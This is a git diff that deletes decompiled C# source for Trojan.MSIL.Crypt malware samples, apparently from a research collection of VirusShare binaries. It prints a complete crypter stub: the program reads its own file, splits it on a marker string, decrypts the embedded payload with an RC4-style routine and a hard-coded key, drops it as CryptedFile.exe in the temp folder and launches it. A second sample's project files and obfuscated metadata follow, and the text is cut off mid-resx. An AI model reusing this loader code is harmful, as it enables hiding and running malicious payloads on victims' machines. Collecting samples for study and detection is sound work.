b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0003.cs deleted file mode 100644 index b8283e14..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0003.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0002; -using System; - -namespace \u0002 -{ - internal sealed class \u0003 - { - public static void \u0003() - { - try - { - \u0001.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0004.cs deleted file mode 100644 index 81106939..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0002/_0004.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using System; - -namespace \u0002 -{ - internal sealed class \u0004 : Attribute - { - public \u0004(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0001.cs deleted file mode 100644 index edec257e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0001.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0001 : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void \u0003(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0003.\u0003.Application.Run(Args); - } - - [DebuggerStepThrough] - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0003.\u0003.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0002.cs deleted file mode 100644 index 9f1aa430..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0003.cs deleted file mode 100644 index 156d236b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0003/_0003.cs +++ /dev/null @@ -1,221 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0003; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class \u0003 - { - private static readonly \u0003.\u0003.\u0002<\u0002> \u0001 = new \u0003.\u0003.\u0002<\u0002>(); - private static readonly \u0003.\u0003.\u0002<\u0001> \u0002 = new \u0003.\u0003.\u0002<\u0001>(); - private static readonly \u0003.\u0003.\u0002 \u0003 = new \u0003.\u0003.\u0002(); - private static \u0003.\u0003.\u0002<\u0003.\u0003.\u0004> \u0004 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0004>(); - private static readonly \u0003.\u0003.\u0002<\u0003.\u0003.\u0001> \u0005 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0001>(); - - [DebuggerNonUserCode] - static \u0003() - { - } - - [HelpKeyword("My.Computer")] - internal static \u0002 Computer - { - [DebuggerHidden] get => \u0003.\u0003.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001 Application - { - [DebuggerHidden] get => \u0003.\u0003.\u0002.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0003.\u0003.\u0003.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static \u0003.\u0003.\u0004 Forms - { - [DebuggerHidden] get => \u0003.\u0003.\u0004.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0003.\u0003.\u0001 WebServices - { - [DebuggerHidden] get => \u0003.\u0003.\u0005.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class \u0004 - { - public \u0004.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0002; - - public \u0004.\u0003 Form1 - { - [DebuggerNonUserCode] get - { - this.\u0001 = \u0003.\u0003.\u0004.\u0003<\u0004.\u0003>(this.\u0001); - return this.\u0001; - } - [DebuggerNonUserCode] set - { - if (value == this.\u0001) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.\u0003<\u0004.\u0003>(ref this.\u0001); - } - } - - [DebuggerHidden] - private static T \u0003(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (\u0003.\u0003.\u0004.\u0002 != null) - { - if (\u0003.\u0003.\u0004.\u0002.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - goto label_10; -label_4: - \u0003.\u0003.\u0004.\u0002.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0003.\u0003.\u0004.\u0002.Remove((object) typeof (T)); - } -label_10: - \u0003.\u0003.\u0004.\u0002 = new Hashtable(); - goto label_4; - } - - [DebuggerHidden] - private void \u0003(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0004() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0004); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class \u0001 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0001); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0003(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void \u0003(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0003.\u0003.\u0002.\u0001 == null) - goto label_2; -label_1: - return \u0003.\u0003.\u0002.\u0001; -label_2: - \u0003.\u0003.\u0002.\u0001 = new T(); - goto label_1; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0004/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0004/_0003.cs deleted file mode 100644 index bb6ab50c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0004/_0003.cs +++ /dev/null @@ -1,208 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace \u0004 -{ - [DesignerGenerated] - internal sealed class \u0003 : Form - { - private IContainer \u0001; - private const string \u0002 = "YesNewBeg"; - - [DebuggerNonUserCode] - public \u0003() - { - \u0003 obj = this; - // ISSUE: virtual method pointer - this.Load += new EventHandler((object) obj, __vmethodptr(obj, \u0003)); - this.\u0003(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0003() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 55); - this.Name = "Form1"; - this.Text = "Form1"; - this.ResumeLayout(false); - } - - private void \u0003(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num2 = -2; -label_1: - int num3 = 2; - string tempPath = Path.GetTempPath(); -label_2: - num3 = 3; - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); -label_4: - num3 = 5; - FileSystem.FileGet(1, ref Expression); -label_5: - num3 = 6; - FileSystem.FileClose(1); -label_6: - num3 = 7; - string[] strArray = Strings.Split(Expression, "YesNewBeg"); -label_7: - num3 = 8; - string str = \u0003.\u0003(strArray[1], "AlrightThisWillDeverseTheEffects"); -label_8: - num3 = 9; - FileSystem.FileOpen(5, tempPath + "\\CryptedFile.exe", OpenMode.Binary, OpenAccess.ReadWrite); -label_9: - num3 = 10; - FileSystem.FilePut(5, str, -1L, false); -label_10: - num3 = 11; - FileSystem.FileClose(5); -label_11: - num3 = 12; - Process.Start(tempPath + "\\CryptedFile.exe"); -label_12: - num3 = 13; - this.Close(); - ProjectData.EndApp(); - goto label_19; -label_14: - num1 = num3; - switch (num2 > -2 ? num2 : 1) - { - case 1: - int num4 = num1 + 1; - num1 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_19; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0) - { - ProjectData.SetProjectError(ex); - goto label_14; - } - throw ProjectData.CreateProjectError(-2146828237); -label_19: - if (num1 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static string \u0003(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0004/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0004/_0004.cs deleted file mode 100644 index 0baf509d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0004/_0004.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - internal sealed class \u0004 - { - private static ResourceManager \u0001; - private static CultureInfo \u0002; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) \u0004.\u0004.\u0001, (object) null)) - \u0004.\u0004.\u0001 = new ResourceManager("Soraadd.Resources", typeof (\u0004.\u0004).Assembly); - return \u0004.\u0004.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => \u0004.\u0004.\u0002; - set => \u0004.\u0004.\u0002 = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0005/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0005/_0001.cs deleted file mode 100644 index e993ecdb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_0005/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Soraadd.My; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - internal sealed class \u0001 - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_003CModule_003E.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_003CModule_003E.cs deleted file mode 100644 index 3104b509..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/_003CModule_003E.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65.exe - -using \u0002; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0003.\u0003(); - \u0001.\u0001.\u0003(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/{3872a73d-48e1-4504-b393-a76428731afe} b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-cbda2df38a11d51edfe158410f6b25c65cdfce032cc14ac79493ee5979d67e65/{3872a73d-48e1-4504-b393-a76428731afe} deleted file mode 100644 index e61e286160257c8894027c5d670d70515f962895..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1012 zcmVZ;#0EpgV=|ivY?=MPV zsG*Wso}&j!_;8EVOsHx(Jj%tfNY_GPP;j0B?rrDcirR4xWk>Fdm|5|WscoG~dCk1F zFzOKm1BSw5XXBsyyDK#kwoXCZ#o%Qw@H`79Q^2P6z=Z;P2{d#9Sf|5*GYf)#p)98W zc6324yf))=+a3@>Af!I4I5V5&X^vGUN(+g90^xSx9jh8iuDNa~J4wRZoHm7K!dBGr zq);ervz8#Op=gCVfJ-d;MG{6QWhi9TT!ct*WnNZg2y`>^gkYXHpUoc!1fvRxtt##w z>F6`|k3$Iqxl2nlWE-|!q`o!IxBIh;lNftdT~{uyiCbTBKt^Tgz*d*Q3GUxDlt_!9 z=VaR4Ay4E$sSPqcQ|xH2shuAM;X0Zzv`OLNYfd^rJp8F!mscsV0*p4IV}3_uDa-=q zfWyk)8?+(135XQL1MM+Dld^BB-}O29-7?3826DnnO%ileWcp`;xZYU_`CnrMfEq_V zq2Sd-9#g-N{cK9V*ni}~iW6wj4}1;JXKQndyPvN)OA%c2I=;M1UsDqP#Su-(D>AFR z8<^wI@>9m11+IH4;k2TH$mmOfYLbDeYHtrAx?*z!FS8*TcII|pO!PVQK4ny%nEj;A z0`n2`n=BWFeTtf<3&F6}ukN)gS}2(%O^Wiq`7ga2VwHhyt0ngz4_GqGa#WRNBnkFG%(xRl@3`>uEt z`{MY>#1+gEX4GetfzIV5dEV5JO$jcI&Uo&DOJ!y}$dtfuHx2)Z52RiKQl|-2sTEE^ zfIa$`uq6~pakam<2a8Egkep@@FgPKmEXNpY==KR1U0apl!{(iEMwLGtR1=!Fof>lx z6<3v3(tR9Vu+HnP>*2XBFNbqia}-0(c+4lvT>E8YT4#^DK|U0P*tDj;v�{mM0y* zl`WM0G<<(5E!A-U!gU9ftjb)v0Pii9?xh+PwDU4Iae5V>yVwub z@Rw6l1@kpEoBDP!z92c(gv~+)DJ_ zIRICta9Y6=372`Dd}8Qa*)8orZJP4jqUt}0V7-lOz i7icSMRKoq6kz`t&g{e>CsYO&G)tSW#2RfKw=)(hH)aWY! diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/AssemblyInfo.cs deleted file mode 100644 index 8afa4966..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/AssemblyInfo.cs +++ /dev/null @@ -1,9 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyFileVersion("3.7.13.81")] -[assembly: AssemblyCopyright("HOYkuitc")] -[assembly: AssemblyProduct("MsInQqzk")] -[assembly: AssemblyCompany("kDPmFmwF")] -[assembly: AssemblyDescription("fZfijfqx")] -[assembly: AssemblyTitle("dzXsuTKt")] -[assembly: AssemblyVersion("3.7.13.81")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/Trojan.MSIL.Crypt.emp.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/Trojan.MSIL.Crypt.emp.csproj deleted file mode 100644 index 79a30795..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/Trojan.MSIL.Crypt.emp.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {41A9941E-37E0-4947-B3A1-628419FC9848} - WinExe - irctest - 3.7.13.81 - ƂƋǢƆƜƑƳƕƐҿƐƀӂƴƆƒǣȄֆփҧƪƲǣǢǤƛպƅȜȮƆƥƉռƱȣƂƘȜƋփƓƜƗӸƓƄӂǎǎƣƑƘǭƳƙǭƒǍƆƛƱƴƄƉ - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/Trojan.MSIL.Crypt.emp.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/Trojan.MSIL.Crypt.emp.sln deleted file mode 100644 index 79e58df2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/Trojan.MSIL.Crypt.emp.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "irctest", "Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c.csproj", "{41A9941E-37E0-4947-B3A1-628419FC9848}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {41A9941E-37E0-4947-B3A1-628419FC9848}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {41A9941E-37E0-4947-B3A1-628419FC9848}.Debug|Any CPU.Build.0 = Debug|Any CPU - {41A9941E-37E0-4947-B3A1-628419FC9848}.Release|Any CPU.ActiveCfg = Release|Any CPU - {41A9941E-37E0-4947-B3A1-628419FC9848}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/afx1SUIp4303.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/afx1SUIp4303.resx deleted file mode 100644 index bdcacdd2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/afx1SUIp4303.resx +++ /dev/null @@ -1,708 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, 